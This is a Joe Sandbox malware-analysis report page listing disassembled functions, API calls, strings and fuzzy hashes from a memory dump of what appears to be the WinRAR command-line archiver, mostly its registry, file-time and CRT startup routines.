Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: a090c3fb5f13b25c423c6cb206785e87dc2f8f8472672048dfb234bb33d1bd14
Instruction ID: 6afa401847af0ac696359900c8ab7e87bedfead65d8ccd19709b25516d5a8a79
Opcode Fuzzy Hash: a090c3fb5f13b25c423c6cb206785e87dc2f8f8472672048dfb234bb33d1bd14
Instruction Fuzzy Hash: 2422F523A1868294EF20DB15D4403B92361FF60785F824135FA5EC76D5EFBEE9A4C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE744FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6EE745043
wcschr.LIBVCRUNTIME ref: 00007FF6EE745129

Strings

AFUMD, xrefs: 00007FF6EE745122
.rar, xrefs: 00007FF6EE7450E6
FUADPXETK, xrefs: 00007FF6EE74503C
.rar, xrefs: 00007FF6EE74508E
.part, xrefs: 00007FF6EE7450A5
stdin, xrefs: 00007FF6EE7452C2

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: cc08f902b5a2a1424913726875cc7af2d4639937dafd8e8de16a6b9cb434b07a
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: 63C1A863A2C98250EF649A25C8513FC2351EF66785F464033F94DCA5DADEAEE522C30B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE777F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6EE77805C

Part of subcall function 00007FF6EE77B3F0: GetSystemDirectoryW.KERNEL32 ref: 00007FF6EE77B41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF6EE777F88
GetProcAddress.KERNEL32 ref: 00007FF6EE777FA3

Strings

CryptUnprotectMemory failed, xrefs: 00007FF6EE778053
Crypt32.dll, xrefs: 00007FF6EE777F66
CryptProtectMemory, xrefs: 00007FF6EE777F7E
CryptProtectMemory failed, xrefs: 00007FF6EE778009
CryptUnprotectMemory, xrefs: 00007FF6EE777F95

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: 4ca7e10cec0be59e407fb0aae14e4bd9b49d1ec7373710b096162b9562016ca5
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 15416B27B4865380FF009B52E90063567A1AF65BD5F4A0135EC6D87794DEBEE062C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE78B0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6EE78B110

Part of subcall function 00007FF6EE78AA8C: __isa_available_init.LIBCMT ref: 00007FF6EE78AAA9
Part of subcall function 00007FF6EE78AA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF6EE78AAAE

__scrt_fastfail.LIBCMT ref: 00007FF6EE78B11E

Part of subcall function 00007FF6EE78B52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6EE78B548
Part of subcall function 00007FF6EE78B52C: RtlCaptureContext.KERNEL32 ref: 00007FF6EE78B571
Part of subcall function 00007FF6EE78B52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6EE78B58B
Part of subcall function 00007FF6EE78B52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF6EE78B5CC
Part of subcall function 00007FF6EE78B52C: IsDebuggerPresent.KERNEL32 ref: 00007FF6EE78B620
Part of subcall function 00007FF6EE78B52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6EE78B641
Part of subcall function 00007FF6EE78B52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF6EE78B64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6EE78B12C
__scrt_fastfail.LIBCMT ref: 00007FF6EE78B143
__scrt_release_startup_lock.LIBCMT ref: 00007FF6EE78B1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6EE78B1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6EE78B1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF6EE78B21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF6EE78B239

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: 984a81de35c43f9a73fbd63f00b2957759b9056708657a8d58623a7a212ca7d6
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: E7315B27E081A381EF14AB25E4513B92791AF75784F460434FA4DCB697EEAFA424C24E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE774774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF6EE77495D,?,?,?,00007FF6EE767E7D), ref: 00007FF6EE7747DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF6EE77495D,?,?,?,00007FF6EE767E7D), ref: 00007FF6EE774831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF6EE77495D,?,?,?,00007FF6EE767E7D), ref: 00007FF6EE774853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF6EE77495D,?,?,?,00007FF6EE767E7D), ref: 00007FF6EE7748A6

Strings

LanguageFolder, xrefs: 00007FF6EE774806
Software\WinRAR\General, xrefs: 00007FF6EE7747CD

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: ea9d8f2a3e07bd5d6a6861ee285eb9a98de5e145f3d1c11656418119e6c752d4
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: A831B223B18A8241EF609B61E8003BA6351FFA4794F414131FE4D87BD9EFADD164CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE764398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE7643D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE764402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE76440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE76443E

Strings

Software\WinRAR\Paths, xrefs: 00007FF6EE7643BC
AppData, xrefs: 00007FF6EE7643F7

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: 278287ca41216382a6f81c7c12397304d46ccb6544a092ca0734d3944b13f95f
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: F7119023A28B4281EF109F21F4006AA7761FF98BC8F451131FA4E43A59EFBED455CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE737A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF6EE737BF3

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: dc8ac98f76198ceb84fbff606d01c81e4b442a240a692ad2837d24375af1e692
Instruction ID: 5b76a29bb9a429fbf95436c76ca86b59604af01d988dbf8752473e8a34968632
Opcode Fuzzy Hash: dc8ac98f76198ceb84fbff606d01c81e4b442a240a692ad2837d24375af1e692
Instruction Fuzzy Hash: 27E1F363A08A9285EF50DB24E048BFE27E5EB6574CF464431EE4D83385DF7AD564C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE752574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6EE7525B0
WriteFile.KERNEL32 ref: 00007FF6EE7525F9
WriteFile.KERNELBASE ref: 00007FF6EE75262E
GetLastError.KERNEL32 ref: 00007FF6EE752658
SetLastError.KERNEL32 ref: 00007FF6EE752689

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: 1a924b5a7fdac0216dc589ee0988674edececba282bef150a24f0347f0430a89
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: AD51C323A0868183EF24DF65E41437A63A0FB64B40F450135EB4E87BA4DFBEE455C60A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE751E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6EE751F4A
GetLastError.KERNEL32 ref: 00007FF6EE751F59
CreateFileW.KERNELBASE ref: 00007FF6EE751F99
GetLastError.KERNEL32 ref: 00007FF6EE751FA2
SetFileTime.KERNEL32 ref: 00007FF6EE751FF1

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: cc05663bab7e968e08190eee9f9e928b98d66bba2e9b7dfed25dac2f644fb595
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: 4D414673A1968106FF608B24E4057AA6691A764BB8F110734EE7D836C8DFBEC459CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE746AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE746C13

Strings

rar.ini, xrefs: 00007FF6EE746B37
switches_%ls=, xrefs: 00007FF6EE746C03
switches=, xrefs: 00007FF6EE746B80

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: 50dc6a9bbe93f0d9a9cbc102029c390884d004d24e28f0f968516ff37904f386
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: 9D41D523A1C64241EF14DB60E4102F923A0FF65794F420536FA9D836D9EFBED566C309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE767E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6EE77B470: GetModuleHandleW.KERNEL32 ref: 00007FF6EE77B488
Part of subcall function 00007FF6EE77B470: GetProcAddress.KERNEL32 ref: 00007FF6EE77B4A0
Part of subcall function 00007FF6EE77B470: GetProcAddress.KERNEL32 ref: 00007FF6EE77B4D5

Part of subcall function 00007FF6EE747A68: setbuf.LIBCMT ref: 00007FF6EE747A7B
Part of subcall function 00007FF6EE747A68: setbuf.LIBCMT ref: 00007FF6EE747A8F

SetErrorMode.KERNELBASE ref: 00007FF6EE767E5D
GetModuleHandleW.KERNEL32 ref: 00007FF6EE767E65

Part of subcall function 00007FF6EE7748CC: GetVersionExW.KERNEL32(?,?,?,00007FF6EE767E7D), ref: 00007FF6EE77496A
Part of subcall function 00007FF6EE7748CC: LoadLibraryW.KERNELBASE(?,?,?,00007FF6EE767E7D), ref: 00007FF6EE774993

new.LIBCMT ref: 00007FF6EE767EA8

Strings

rar.lng, xrefs: 00007FF6EE767E7D

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: aae33f096e44b7179777c7a4e7d7280ac8be15058bdc46fbde8d3aab13c1519a
Instruction ID: 2d6d45bd32b3814d69d135b289b8064ff9a1be1c073d5a51e13957fc9da7b9a0
Opcode Fuzzy Hash: aae33f096e44b7179777c7a4e7d7280ac8be15058bdc46fbde8d3aab13c1519a
Instruction Fuzzy Hash: 5541AF23A1C68342EF10AB20E4017B923919F75794F460035F95E8B2D7DEAFA466C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7640A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF6EE764432,?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE7640C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE7640DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF6EE7640F1

Part of subcall function 00007FF6EE753458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6EE76413F,?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE7534A0
